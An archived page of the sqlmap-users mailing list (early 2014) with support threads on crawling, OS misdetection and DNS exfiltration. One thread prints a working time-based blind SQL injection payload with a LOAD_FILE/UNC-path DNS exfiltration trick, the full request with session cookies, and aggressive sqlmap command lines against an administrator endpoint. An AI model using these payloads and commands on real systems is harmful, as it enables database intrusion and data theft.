sqlmap-users Mailing List for sqlmap (Page 26)
Brought to you by:
inquisb
Menu
▾
▴
sqlmap-users — sqlmap users mailing list
You can subscribe to this list here.
| 2008 |
Jan
|
Feb
|
Mar
|
Apr
|
May
|
Jun
|
Jul
|
Aug
|
Sep
(4) |
Oct
(11) |
Nov
(24) |
Dec
(13) |
|---|---|---|---|---|---|---|---|---|---|---|---|---|
| 2009 |
Jan
(23) |
Feb
(17) |
Mar
(13) |
Apr
(48) |
May
(22) |
Jun
(18) |
Jul
(22) |
Aug
(13) |
Sep
(23) |
Oct
(6) |
Nov
(11) |
Dec
(25) |
| 2010 |
Jan
(21) |
Feb
(33) |
Mar
(61) |
Apr
(47) |
May
(48) |
Jun
(30) |
Jul
(24) |
Aug
(37) |
Sep
(52) |
Oct
(59) |
Nov
(32) |
Dec
(57) |
| 2011 |
Jan
(166) |
Feb
(93) |
Mar
(65) |
Apr
(117) |
May
(87) |
Jun
(124) |
Jul
(102) |
Aug
(78) |
Sep
(65) |
Oct
(22) |
Nov
(71) |
Dec
(79) |
| 2012 |
Jan
(93) |
Feb
(55) |
Mar
(45) |
Apr
(49) |
May
(56) |
Jun
(93) |
Jul
(95) |
Aug
(42) |
Sep
(26) |
Oct
(36) |
Nov
(32) |
Dec
(46) |
| 2013 |
Jan
(36) |
Feb
(78) |
Mar
(38) |
Apr
(57) |
May
(35) |
Jun
(39) |
Jul
(23) |
Aug
(33) |
Sep
(28) |
Oct
(38) |
Nov
(22) |
Dec
(16) |
| 2014 |
Jan
(33) |
Feb
(23) |
Mar
(41) |
Apr
(29) |
May
(12) |
Jun
(20) |
Jul
(21) |
Aug
(23) |
Sep
(18) |
Oct
(34) |
Nov
(12) |
Dec
(39) |
| 2015 |
Jan
(2) |
Feb
(51) |
Mar
(10) |
Apr
(28) |
May
(9) |
Jun
(22) |
Jul
(32) |
Aug
(35) |
Sep
(29) |
Oct
(50) |
Nov
(8) |
Dec
(2) |
| 2016 |
Jan
(8) |
Feb
(2) |
Mar
(3) |
Apr
(14) |
May
|
Jun
|
Jul
|
Aug
(12) |
Sep
|
Oct
|
Nov
(1) |
Dec
(19) |
| 2017 |
Jan
|
Feb
(18) |
Mar
|
Apr
(1) |
May
|
Jun
|
Jul
|
Aug
(4) |
Sep
|
Oct
|
Nov
(2) |
Dec
|
| 2018 |
Jan
|
Feb
|
Mar
(1) |
Apr
(1) |
May
(3) |
Jun
|
Jul
|
Aug
|
Sep
|
Oct
|
Nov
|
Dec
|
| 2019 |
Jan
|
Feb
|
Mar
|
Apr
(3) |
May
|
Jun
|
Jul
|
Aug
|
Sep
|
Oct
|
Nov
|
Dec
|
|
From: SpindizZzy L <spi...@gm...> - 2014-02-18 08:28:39
|
Hi, Encountered a small issue: sqlmap won't read from a file.. using the -r flag getting the "[critical] the specified HTTP request file does not exist"-error every time :( and all I did was copy a POST request from burpsuite to a .txt file any ideas on this ? problem with the parser perhaps ? Thx in Advance !! SpindizZzy |
|
From: Miroslav S. <mir...@gm...> - 2014-02-06 15:13:06
|
Hi. Lower the --crawl to something like --crawl=2. Also, you are most probably accessing some binary files. If you could provide problematic extensions we could exclude those (we are already excluding known binary extensions). Bye On Thu, Feb 6, 2014 at 1:09 PM, Doritos <dor...@ya...> wrote: > I've been trying to use sqlmap to crawl our site, but it doesn't even > end the link search phase... > > Looks like the site doesn't respond to some requests but the timeout > takes a long time to trigger the timeout... > > Look at the timestamps. > > The site is working. At least, I can access it via browser. > > > ./sqlmap.py -u http://www.site.com --level 3 --risk 5 -b --threads=4 > --batch --random-agent --crawl=5 > > [09:04:15] [INFO] fetched random HTTP User-Agent header from file > '/opt/sqlmap-dev/txt/user-agents.txt': Mozilla/4.0 (compatible; MSIE > 7.0; Windows NT 6.1; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET > CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) > [09:04:15] [INFO] starting crawler > [09:04:15] [INFO] searching for links with depth 1 > sqlmap got a 302 redirect to 'http://www.site:80/page.php'. Do you want > to follow? [Y/n] Y > [09:04:15] [INFO] searching for links with depth 2 > > > [09:04:15] [INFO] starting 4 threads > [09:04:16] [INFO] 25/64 links visited (39%) > [09:04:16] [INFO] heuristics detected web page charset 'ISO-8859-5' > [09:04:19] [INFO] searching for links with depth 3 > > > [09:04:19] [INFO] starting 4 threads > [09:04:20] [INFO] 31/602 links visited (5%) > [09:04:20] [INFO] heuristics detected web page charset 'IBM855' > [09:04:28] [INFO] 182/602 links visited (30%) > [09:04:28] [INFO] heuristics detected web page charset 'ISO-8859-2' > [09:04:34] [INFO] 317/602 links visited (53%) > [09:04:34] [INFO] heuristics detected web page charset 'UTF-8' > [09:04:49] [INFO] 484/602 links visited (80%) > [09:04:49] [INFO] heuristics detected web page charset 'ascii' > [09:04:51] [INFO] searching for links with depth 4 > > > [09:04:51] [INFO] starting 4 threads > [09:12:46] [INFO] searching for links with depth 5 > > > [09:12:46] [INFO] starting 4 threads > [09:38:56] [INFO] 527/4622 links visited (11%) > [09:38:56] [CRITICAL] unable to connect to the target URL or proxy. > sqlmap is going to retry the request > [09:38:56] [WARNING] if the problem persists please check that the > provided target URL is valid. In case that it is, you can try to rerun > with the switch '--random-agent' turned on and/or proxy switches > ('--ignore-proxy', '--proxy',...) > [10:01:44] [INFO] 1556/4622 links visited (34%) > [10:01:44] [INFO] heuristics detected web page charset 'windows-1251' > [10:01:45] [INFO] 1560/4622 links visited (34%) > > > > > What options can I try to sucessfully crawl and scan the site? > > > > ------------------------------------------------------------------------------ > Managing the Performance of Cloud-Based Applications > Take advantage of what the Cloud has to offer - Avoid Common Pitfalls. > Read the Whitepaper. > > http://pubads.g.doubleclick.net/gampad/clk?id=121051231&iu=/4140/ostg.clktrk > _______________________________________________ > sqlmap-users mailing list > sql...@li... > https://lists.sourceforge.net/lists/listinfo/sqlmap-users > -- Miroslav Stampar http://about.me/stamparm |
|
From: Doritos <dor...@ya...> - 2014-02-06 12:15:12
|
I've been trying to use sqlmap to crawl our site, but it doesn't even end the link search phase… Looks like the site doesn't respond to some requests but the timeout takes a long time to trigger the timeout… Look at the timestamps. The site is working. At least, I can access it via browser. ./sqlmap.py -u http://www.site.com --level 3 --risk 5 -b --threads=4 --batch --random-agent --crawl=5 [09:04:15] [INFO] fetched random HTTP User-Agent header from file '/opt/sqlmap-dev/txt/user-agents.txt': Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) [09:04:15] [INFO] starting crawler [09:04:15] [INFO] searching for links with depth 1 sqlmap got a 302 redirect to 'http://www.site:80/page.php'. Do you want to follow? [Y/n] Y [09:04:15] [INFO] searching for links with depth 2 [09:04:15] [INFO] starting 4 threads [09:04:16] [INFO] 25/64 links visited (39%) [09:04:16] [INFO] heuristics detected web page charset 'ISO-8859-5' [09:04:19] [INFO] searching for links with depth 3 [09:04:19] [INFO] starting 4 threads [09:04:20] [INFO] 31/602 links visited (5%) [09:04:20] [INFO] heuristics detected web page charset 'IBM855' [09:04:28] [INFO] 182/602 links visited (30%) [09:04:28] [INFO] heuristics detected web page charset 'ISO-8859-2' [09:04:34] [INFO] 317/602 links visited (53%) [09:04:34] [INFO] heuristics detected web page charset 'UTF-8' [09:04:49] [INFO] 484/602 links visited (80%) [09:04:49] [INFO] heuristics detected web page charset 'ascii' [09:04:51] [INFO] searching for links with depth 4 [09:04:51] [INFO] starting 4 threads [09:12:46] [INFO] searching for links with depth 5 [09:12:46] [INFO] starting 4 threads [09:38:56] [INFO] 527/4622 links visited (11%) [09:38:56] [CRITICAL] unable to connect to the target URL or proxy. sqlmap is going to retry the request [09:38:56] [WARNING] if the problem persists please check that the provided target URL is valid. In case that it is, you can try to rerun with the switch '--random-agent' turned on and/or proxy switches ('--ignore-proxy', '--proxy',...) [10:01:44] [INFO] 1556/4622 links visited (34%) [10:01:44] [INFO] heuristics detected web page charset 'windows-1251' [10:01:45] [INFO] 1560/4622 links visited (34%) What options can I try to sucessfully crawl and scan the site? |
|
From: Miroslav S. <mir...@gm...> - 2014-02-05 07:34:12
|
Hi. Thank you for your report and find it patched now. Kind regards, Miroslav Stampar On Tue, Feb 4, 2014 at 10:17 PM, Luis Rocha <lui...@gm...> wrote: > Hello All, > > I am not sure if this would be of any interest but while running version > sqlmap/1.0-dev-59d667d against a Windows 2008 build 6001 (SP1) server it > prints out that it is a windows vista... > > [16:27:46] [INFO] confirming Microsoft SQL Server > [16:27:58] [DEBUG] got HTTP error code: 500 (Internal Server Error) > [16:27:58] [INFO] the back-end DBMS is Microsoft SQL Server > web server operating system: Windows Vista > web application technology: ASP.NET 4.0.30319, ASP.NET, Microsoft IIS 7.0 > back-end DBMS: Microsoft SQL Server 2008 > > > Thank you, > Luis > > > ------------------------------------------------------------------------------ > Managing the Performance of Cloud-Based Applications > Take advantage of what the Cloud has to offer - Avoid Common Pitfalls. > Read the Whitepaper. > > http://pubads.g.doubleclick.net/gampad/clk?id=121051231&iu=/4140/ostg.clktrk > _______________________________________________ > sqlmap-users mailing list > sql...@li... > https://lists.sourceforge.net/lists/listinfo/sqlmap-users > > -- Miroslav Stampar http://about.me/stamparm |
|
From: Luis R. <lui...@gm...> - 2014-02-04 21:17:18
|
Hello All, I am not sure if this would be of any interest but while running version sqlmap/1.0-dev-59d667d against a Windows 2008 build 6001 (SP1) server it prints out that it is a windows vista... [16:27:46] [INFO] confirming Microsoft SQL Server [16:27:58] [DEBUG] got HTTP error code: 500 (Internal Server Error) [16:27:58] [INFO] the back-end DBMS is Microsoft SQL Server web server operating system: Windows Vista web application technology: ASP.NET 4.0.30319, ASP.NET, Microsoft IIS 7.0 back-end DBMS: Microsoft SQL Server 2008 Thank you, Luis |
|
From: Miroslav S. <mir...@gm...> - 2014-02-03 12:02:57
|
Hi. There is no mechanism like that. However, you are asked after all URLs are collected whether you want to skip them from further processing/scanning. Kind regards, Miroslav Stampar On Mon, Feb 3, 2014 at 8:33 AM, Chris Clements <ccl...@ou...>wrote: > Hi all, > > > > Is there a way to have sqlmap's crawler avoid certain URLs while > crawling? Specifically, I want to avoid URLs like "logout.php". > > > > Chris > > > ------------------------------------------------------------------------------ > Managing the Performance of Cloud-Based Applications > Take advantage of what the Cloud has to offer - Avoid Common Pitfalls. > Read the Whitepaper. > > http://pubads.g.doubleclick.net/gampad/clk?id=121051231&iu=/4140/ostg.clktrk > _______________________________________________ > sqlmap-users mailing list > sql...@li... > https://lists.sourceforge.net/lists/listinfo/sqlmap-users > > -- Miroslav Stampar http://about.me/stamparm |
|
From: Chris C. <ccl...@ou...> - 2014-02-03 07:33:45
|
Hi all, Is there a way to have sqlmap’s crawler avoid certain URLs while crawling? Specifically, I want to avoid URLs like “logout.php”. Chris |
|
From: Miroslav S. <mir...@gm...> - 2014-01-23 19:25:21
|
Hi. I am pretty sure that you are targeting LAMP server, while DNS exfiltration against MySQL DBMS works only if the target is a Windows machine (LOAD_FILE is provided with a SMB path containing attacker's domain (prefixed with SQL query result as a subdomain) forcing DNS resolution). Bye On Jan 23, 2014 7:58 PM, "Chris Clements" <ccl...@ou...> wrote: > Miroslav, > > Thanks for the reply. I was looking at my tcpdump wrong. The dns traffic > I saw was from my sqlmap system itself looking up the target’s dns name, > not the target (or any other host) querying for records on my domain. > > So it seems that the target system isn’t sending dns queries out. > Anything else I can try, or am I just stuck with blind extraction here? > > > Here’s my sqlmap run and tcpdump if it helps: > > > sqlmap > ================================== > root@Maple ~/s/g/sqlmap# ./sqlmap.py -u " > https://ato.target.net/administrator/index.php?option=com_mcsearch&templateId=*/&view=searchtemplate" > --random-agent --risk=3 --level=5 -a --dbms=mysql --threads=1 > --predict-output --dns-domain=mydomain.net -v2 --banner --time-sec=10 > --tamper=between --load-cookies=/root/cookies.txt > > sqlmap/1.0-dev-ab36e5a - automatic SQL injection and database takeover > tool > http://sqlmap.org > > [!] legal disclaimer: Usage of sqlmap for attacking targets without prior > mutual consent is illegal. It is the end user's responsibility to obey all > applicable local, state and federal laws. Developers assume no liability > and are not responsible for any misuse or damage caused by this program > > [*] starting at 13:07:01 > > [13:07:01] [DEBUG] cleaning up configuration parameters > [13:07:01] [INFO] setting up DNS server instance > [13:07:01] [INFO] loading tamper script 'between' > [13:07:01] [DEBUG] setting the HTTP timeout > [13:07:01] [DEBUG] loading random HTTP User-Agent header(s) from file > '/root/sectools/git/sqlmap/txt/user-agents.txt' > [13:07:01] [INFO] fetched random HTTP User-Agent header from file > '/root/sectools/git/sqlmap/txt/user-agents.txt': Mozilla/5.0 (Windows; U; > Windows NT 6.0; en-US) AppleWebKit/533.2 (KHTML, like Gecko) > Chrome/5.0.342.1 Safari/533.2 > [13:07:01] [DEBUG] setting the HTTP method to GET > [13:07:01] [DEBUG] creating HTTP requests opener object > [13:07:01] [INFO] loading cookies from '/root/cookies.txt' > [13:07:01] [DEBUG] forcing back-end DBMS to user defined value > custom injection marking character ('*') found in option '-u'. Do you want > to process it? [Y/n/q] > [13:07:04] [INFO] testing connection to the target URL > [13:07:05] [DEBUG] declared web page charset 'utf-8' > sqlmap identified the following injection points with a total of 0 HTTP(s) > requests: > --- > Place: URI > Parameter: #1* > Type: AND/OR time-based blind > Title: MySQL > 5.0.11 OR time-based blind > Payload: > https://ato.target.net:443/administrator/index.php?option=com_mcsearch&templateId=-5154OR 7979=SLEEP(10)-- MarC/&view=searchtemplate > Vector: OR [RANDNUM]=IF(([INFERENCE]),SLEEP([SLEEPTIME]),[RANDNUM]) > --- > [13:07:05] [WARNING] changes made by tampering scripts are not included in > shown payload content(s) > [13:07:05] [INFO] testing MySQL > [13:07:06] [WARNING] reflective value(s) found and filtering out > [13:07:06] [WARNING] time-based comparison needs larger statistical model. > Making a few dummy requests, please wait.. > [13:07:38] [INFO] confirming MySQL > [13:07:38] [WARNING] it is very important not to stress the network > adapter's bandwidth during usage of time-based payloads > [13:08:20] [INFO] the back-end DBMS is MySQL > [13:08:20] [INFO] fetching banner > [13:08:20] [INFO] testing for data retrieval through DNS channel > [13:08:20] [DEBUG] performed 1 queries in 0.88 seconds > [13:08:20] [ERROR] data retrieval through DNS channel failed. Turning off > DNS exfiltration support > [13:08:20] [INFO] retrieved: 5.0.95-log > [13:18:53] [DEBUG] performed 69 queries in 633.52 seconds > web application technology: Apache > back-end DBMS: MySQL >= 5.0.0 > banner: '5.0.95-log' > ================================== > > > > tcpdump > ================================== > root@Maple ~# tcpdump -nvvi eth0 port 53 > tcpdump: listening on eth0, link-type EN10MB (Ethernet), capture size > 65535 bytes > 12:35:44.667201 IP (tos 0x0, ttl 64, id 22920, offset 0, flags [DF], proto > UDP (17), length 66) > <sqlmap machine>.52795 > 8.8.8.8.53: [bad udp cksum 0xb64b -> 0xa7a3!] > 61116+ A? ato.target.net. (38) > 12:35:44.667229 IP (tos 0x0, ttl 64, id 22921, offset 0, flags [DF], proto > UDP (17), length 66) > <sqlmap machine>.52795 > 8.8.8.8.53: [bad udp cksum 0xb64b -> 0x37e7!] > 24158+ AAAA? ato.target.net. (38) > 12:35:44.710564 IP (tos 0x0, ttl 45, id 824, offset 0, flags [none], proto > UDP (17), length 151) > 8.8.8.8.53 > <sqlmap machine>.52795: [udp sum ok] 24158 q: AAAA? > ato.target.net. 0/1/0 ns: target.net. SOA ns-xxxx.awsdns-29.org. > awsdns-hostmaster.amazon.com. 1 7200 900 1209600 86400 (123) > 12:35:44.711455 IP (tos 0x0, ttl 45, id 22553, offset 0, flags [none], > proto UDP (17), length 82) > 8.8.8.8.53 > <sqlmap machine>.52795: [udp sum ok] 61116 q: A? > ato.target.net. 1/0/0 ato.target.net. A XXX.XXX.XXX.172 (54) > 12:35:44.716854 IP (tos 0x0, ttl 64, id 22922, offset 0, flags [DF], proto > UDP (17), length 66) > <sqlmap machine>.58257 > 8.8.8.8.53: [bad udp cksum 0xb64b -> 0xa3b7!] > 56658+ A? ato.target.net. (38) > 12:35:44.716880 IP (tos 0x0, ttl 64, id 22923, offset 0, flags [DF], proto > UDP (17), length 66) > <sqlmap machine>.58257 > 8.8.8.8.53: [bad udp cksum 0xb64b -> 0x6497!] > 7256+ AAAA? ato.target.net. (38) > 12:35:44.747848 IP (tos 0x0, ttl 45, id 22554, offset 0, flags [none], > proto UDP (17), length 151) > 8.8.8.8.53 > <sqlmap machine>.58257: [udp sum ok] 7256 q: AAAA? > ato.target.net. 0/1/0 ns: target.net. SOA ns-xxxx.awsdns-29.org. > awsdns-hostmaster.amazon.com. 1 7200 900 1209600 86400 (123) > 12:35:44.763158 IP (tos 0x0, ttl 45, id 49299, offset 0, flags [none], > proto UDP (17), length 82) > 8.8.8.8.53 > <sqlmap machine>.58257: [udp sum ok] 56658 q: A? > ato.target.net. 1/0/0 ato.target.net. A XXX.XXX.XXX.172 (54) > ================================== > > > > Chris > > > On Jan 23, 2014, at 1:42 AM, Miroslav Stampar <mir...@gm...> > wrote: > > Hi Chris. > > It looks quite right. It would be tremendously helpful if you could send a > console output and a tcpdump (you can limit to only port 53) for a > following run: > > sudo python sqlmap.py -u "...." --flush-session --banner --dns-domain="..." > > From your given description it looks like everything should be up and > running. > > Kind regards, > Miroslav Stampar > > > On Thu, Jan 23, 2014 at 12:46 AM, Chris Clements <ccl...@ou...>wrote: > >> Hey all, >> >> I’ve got a blind sqli that I’m exploiting with the latest sqlmap commit >> and am trying to get dns exfil to work, but am not having any luck. >> >> I start sqlmap as root with the —dns-domain option set to a domain that I >> control and have the sqlmap machine set as the authoritative NS for. >> Running with a -v6, this is the info I get: >> >> =============================================== >> [18:22:18] [INFO] testing for data retrieval through DNS channel >> [18:22:18] [PAYLOAD] -2931 OR 7252=IF((ORD(MID((SELECT >> LOAD_FILE(CONCAT(0x5c5c5c5c4d776a2e,(SELECT HEX(MID((IFNULL(CAST(8315 AS >> CHAR),0x20)),1,31))),0x2e79564e2e73656375726566696c652e6e65745c5c7456414c))),6,1))>953),SLEEP(5),7252)-- >> PyBa >> [18:22:18] [TRAFFIC OUT] HTTP request [#3]: >> GET >> /administrator/index.php?option=com_mcsearch&templateId=-2931%20OR%207252%3DIF%28%28ORD%28MID%28%28SELECT%20LOAD_FILE%28CONCAT%280x5c5c5c5c4d776a2e%2C%28SELECT%20HEX%28MID%28%28IFNULL%28CAST%288315%20AS%20CHAR%29%2C0x20%29%29%2C1%2C31%29%29%29%2C0x2e79564e2e73656375726566696c652e6e65745c5c7456414c%29%29%29%2C6%2C1%29%29%3E953%29%2CSLEEP%285%29%2C7252%29--%20PyBa/&view=searchtemplate >> HTTP/1.1 >> Accept-language: en-us,en;q=0.5 >> Accept-encoding: gzip,deflate >> Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 >> User-agent: Mozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.9.0.1) >> Gecko/2008071719 Firefox/3.0.1 >> Accept-charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7 >> >> Pragma: no-cache >> Cache-control: no-cache,no-store >> Cookie: >> Login=1;activeProfile=16469185;serviceID=1320;91370904fbecd1edf649755d657f5d32=97t8br06sreu9r846bai0t2pj0;mcid_token=0c7264be-28af-41b8-8c77-01c4fdc395ec >> Connection: close >> >> [18:22:19] [TRAFFIC IN] HTTP response [#3] (200 OK): >> Content-length: 8627 >> Content-encoding: gzip >> Set-cookie: serviceID=1320; expires=Thu, 23-Jan-2014 00:22:20 GMT; >> path=/; httponly, serviceID=1320; expires=Thu, 23-Jan-2014 00:22:20 GMT; >> path=/; httponly, mcid_token=0c7264be-28af-41b8-8c77-01c4fdc395ec; >> expires=Thu, 22-Jan-2015 23:22:20 GMT; path=/; httponly >> Expires: Mon, 1 Jan 2001 00:00:00 GMT >> Vary: Accept-Encoding >> Uri: >> https://target.net:443/administrator/index.php?option=com_mcsearch&templateId=-2931%20OR%207252%3DIF%28%28ORD%28MID%28%28SELECT%20LOAD_FILE%28CONCAT%280x5c5c5c5c4d776a2e%2C%28SELECT%20HEX%28MID%28%28IFNULL%28CAST%288315%20AS%20CHAR%29%2C0x20%29%29%2C1%2C31%29%29%29%2C0x2e79564e2e73656375726566696c652e6e65745c5c7456414c%29%29%29%2C6%2C1%29%29%3E953%29%2CSLEEP%285%29%2C7252%29--%20PyBa/&view=searchtemplate<https://target.net/administrator/index.php?option=com_mcsearch&templateId=-2931%20OR%207252%3DIF%28%28ORD%28MID%28%28SELECT%20LOAD_FILE%28CONCAT%280x5c5c5c5c4d776a2e%2C%28SELECT%20HEX%28MID%28%28IFNULL%28CAST%288315%20AS%20CHAR%29%2C0x20%29%29%2C1%2C31%29%29%29%2C0x2e79564e2e73656375726566696c652e6e65745c5c7456414c%29%29%29%2C6%2C1%29%29%3E953%29%2CSLEEP%285%29%2C7252%29--%20PyBa/&view=searchtemplate> >> Server: Apache >> Last-modified: Wed, 22 Jan 2014 23:22:20 GMT >> Connection: close >> Pragma: no-cache >> Cache-control: post-check=0, pre-check=0 >> Date: Wed, 22 Jan 2014 23:22:20 GMT >> P3p: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" >> Content-type: text/html; charset=utf-8 >> >> [18:22:19] [DEBUG] performed 1 queries in 0.51 seconds >> [18:22:19] [ERROR] data retrieval through DNS channel failed. Turning off >> DNS exfiltration support >> =============================================== >> >> If I run a tcpdump on the sqlmap machine, I see dns requests come in for “ >> target.net” and if I do manual dns queries to the domain I own, sqlmap >> responds as expected with localhost.domain.com. >> >> >> Any idea? Am I doing anything wrong? >> >> >> Chris >> >> >> >> ------------------------------------------------------------------------------ >> CenturyLink Cloud: The Leader in Enterprise Cloud Services. >> Learn Why More Businesses Are Choosing CenturyLink Cloud For >> Critical Workloads, Development Environments & Everything In Between. >> Get a Quote or Start a Free Trial Today. >> >> http://pubads.g.doubleclick.net/gampad/clk?id=119420431&iu=/4140/ostg.clktrk >> _______________________________________________ >> sqlmap-users mailing list >> sql...@li... >> https://lists.sourceforge.net/lists/listinfo/sqlmap-users >> > > > > -- > Miroslav Stampar > http://about.me/stamparm > > > |
|
From: Chris C. <ccl...@ou...> - 2014-01-23 18:58:40
|
Miroslav, Thanks for the reply. I was looking at my tcpdump wrong. The dns traffic I saw was from my sqlmap system itself looking up the target’s dns name, not the target (or any other host) querying for records on my domain. So it seems that the target system isn’t sending dns queries out. Anything else I can try, or am I just stuck with blind extraction here? Here’s my sqlmap run and tcpdump if it helps: sqlmap ================================== root@Maple ~/s/g/sqlmap# ./sqlmap.py -u "https://ato.target.net/administrator/index.php?option=com_mcsearch&templateId=*/&view=searchtemplate" --random-agent --risk=3 --level=5 -a --dbms=mysql --threads=1 --predict-output --dns-domain=mydomain.net -v2 --banner --time-sec=10 --tamper=between --load-cookies=/root/cookies.txt sqlmap/1.0-dev-ab36e5a - automatic SQL injection and database takeover tool http://sqlmap.org [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program [*] starting at 13:07:01 [13:07:01] [DEBUG] cleaning up configuration parameters [13:07:01] [INFO] setting up DNS server instance [13:07:01] [INFO] loading tamper script 'between' [13:07:01] [DEBUG] setting the HTTP timeout [13:07:01] [DEBUG] loading random HTTP User-Agent header(s) from file '/root/sectools/git/sqlmap/txt/user-agents.txt' [13:07:01] [INFO] fetched random HTTP User-Agent header from file '/root/sectools/git/sqlmap/txt/user-agents.txt': Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/533.2 (KHTML, like Gecko) Chrome/5.0.342.1 Safari/533.2 [13:07:01] [DEBUG] setting the HTTP method to GET [13:07:01] [DEBUG] creating HTTP requests opener object [13:07:01] [INFO] loading cookies from '/root/cookies.txt' [13:07:01] [DEBUG] forcing back-end DBMS to user defined value custom injection marking character ('*') found in option '-u'. Do you want to process it? [Y/n/q] [13:07:04] [INFO] testing connection to the target URL [13:07:05] [DEBUG] declared web page charset 'utf-8' sqlmap identified the following injection points with a total of 0 HTTP(s) requests: --- Place: URI Parameter: #1* Type: AND/OR time-based blind Title: MySQL > 5.0.11 OR time-based blind Payload: https://ato.target.net:443/administrator/index.php?option=com_mcsearch&templateId=-5154 OR 7979=SLEEP(10)-- MarC/&view=searchtemplate Vector: OR [RANDNUM]=IF(([INFERENCE]),SLEEP([SLEEPTIME]),[RANDNUM]) --- [13:07:05] [WARNING] changes made by tampering scripts are not included in shown payload content(s) [13:07:05] [INFO] testing MySQL [13:07:06] [WARNING] reflective value(s) found and filtering out [13:07:06] [WARNING] time-based comparison needs larger statistical model. Making a few dummy requests, please wait.. [13:07:38] [INFO] confirming MySQL [13:07:38] [WARNING] it is very important not to stress the network adapter's bandwidth during usage of time-based payloads [13:08:20] [INFO] the back-end DBMS is MySQL [13:08:20] [INFO] fetching banner [13:08:20] [INFO] testing for data retrieval through DNS channel [13:08:20] [DEBUG] performed 1 queries in 0.88 seconds [13:08:20] [ERROR] data retrieval through DNS channel failed. Turning off DNS exfiltration support [13:08:20] [INFO] retrieved: 5.0.95-log [13:18:53] [DEBUG] performed 69 queries in 633.52 seconds web application technology: Apache back-end DBMS: MySQL >= 5.0.0 banner: '5.0.95-log' ================================== tcpdump ================================== root@Maple ~# tcpdump -nvvi eth0 port 53 tcpdump: listening on eth0, link-type EN10MB (Ethernet), capture size 65535 bytes 12:35:44.667201 IP (tos 0x0, ttl 64, id 22920, offset 0, flags [DF], proto UDP (17), length 66) <sqlmap machine>.52795 > 8.8.8.8.53: [bad udp cksum 0xb64b -> 0xa7a3!] 61116+ A? ato.target.net. (38) 12:35:44.667229 IP (tos 0x0, ttl 64, id 22921, offset 0, flags [DF], proto UDP (17), length 66) <sqlmap machine>.52795 > 8.8.8.8.53: [bad udp cksum 0xb64b -> 0x37e7!] 24158+ AAAA? ato.target.net. (38) 12:35:44.710564 IP (tos 0x0, ttl 45, id 824, offset 0, flags [none], proto UDP (17), length 151) 8.8.8.8.53 > <sqlmap machine>.52795: [udp sum ok] 24158 q: AAAA? ato.target.net. 0/1/0 ns: target.net. SOA ns-xxxx.awsdns-29.org. awsdns-hostmaster.amazon.com. 1 7200 900 1209600 86400 (123) 12:35:44.711455 IP (tos 0x0, ttl 45, id 22553, offset 0, flags [none], proto UDP (17), length 82) 8.8.8.8.53 > <sqlmap machine>.52795: [udp sum ok] 61116 q: A? ato.target.net. 1/0/0 ato.target.net. A XXX.XXX.XXX.172 (54) 12:35:44.716854 IP (tos 0x0, ttl 64, id 22922, offset 0, flags [DF], proto UDP (17), length 66) <sqlmap machine>.58257 > 8.8.8.8.53: [bad udp cksum 0xb64b -> 0xa3b7!] 56658+ A? ato.target.net. (38) 12:35:44.716880 IP (tos 0x0, ttl 64, id 22923, offset 0, flags [DF], proto UDP (17), length 66) <sqlmap machine>.58257 > 8.8.8.8.53: [bad udp cksum 0xb64b -> 0x6497!] 7256+ AAAA? ato.target.net. (38) 12:35:44.747848 IP (tos 0x0, ttl 45, id 22554, offset 0, flags [none], proto UDP (17), length 151) 8.8.8.8.53 > <sqlmap machine>.58257: [udp sum ok] 7256 q: AAAA? ato.target.net. 0/1/0 ns: target.net. SOA ns-xxxx.awsdns-29.org. awsdns-hostmaster.amazon.com. 1 7200 900 1209600 86400 (123) 12:35:44.763158 IP (tos 0x0, ttl 45, id 49299, offset 0, flags [none], proto UDP (17), length 82) 8.8.8.8.53 > <sqlmap machine>.58257: [udp sum ok] 56658 q: A? ato.target.net. 1/0/0 ato.target.net. A XXX.XXX.XXX.172 (54) ================================== Chris On Jan 23, 2014, at 1:42 AM, Miroslav Stampar <mir...@gm...> wrote: > Hi Chris. > > It looks quite right. It would be tremendously helpful if you could send a console output and a tcpdump (you can limit to only port 53) for a following run: > > sudo python sqlmap.py -u "...." --flush-session --banner --dns-domain="..." > > From your given description it looks like everything should be up and running. > > Kind regards, > Miroslav Stampar > > > On Thu, Jan 23, 2014 at 12:46 AM, Chris Clements <ccl...@ou...> wrote: > Hey all, > > I’ve got a blind sqli that I’m exploiting with the latest sqlmap commit and am trying to get dns exfil to work, but am not having any luck. > > I start sqlmap as root with the —dns-domain option set to a domain that I control and have the sqlmap machine set as the authoritative NS for. Running with a -v6, this is the info I get: > > =============================================== > [18:22:18] [INFO] testing for data retrieval through DNS channel > [18:22:18] [PAYLOAD] -2931 OR 7252=IF((ORD(MID((SELECT LOAD_FILE(CONCAT(0x5c5c5c5c4d776a2e,(SELECT HEX(MID((IFNULL(CAST(8315 AS CHAR),0x20)),1,31))),0x2e79564e2e73656375726566696c652e6e65745c5c7456414c))),6,1))>953),SLEEP(5),7252)-- PyBa > [18:22:18] [TRAFFIC OUT] HTTP request [#3]: > GET /administrator/index.php?option=com_mcsearch&templateId=-2931%20OR%207252%3DIF%28%28ORD%28MID%28%28SELECT%20LOAD_FILE%28CONCAT%280x5c5c5c5c4d776a2e%2C%28SELECT%20HEX%28MID%28%28IFNULL%28CAST%288315%20AS%20CHAR%29%2C0x20%29%29%2C1%2C31%29%29%29%2C0x2e79564e2e73656375726566696c652e6e65745c5c7456414c%29%29%29%2C6%2C1%29%29%3E953%29%2CSLEEP%285%29%2C7252%29--%20PyBa/&view=searchtemplate HTTP/1.1 > Accept-language: en-us,en;q=0.5 > Accept-encoding: gzip,deflate > Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 > User-agent: Mozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.9.0.1) Gecko/2008071719 Firefox/3.0.1 > Accept-charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7 > > Pragma: no-cache > Cache-control: no-cache,no-store > 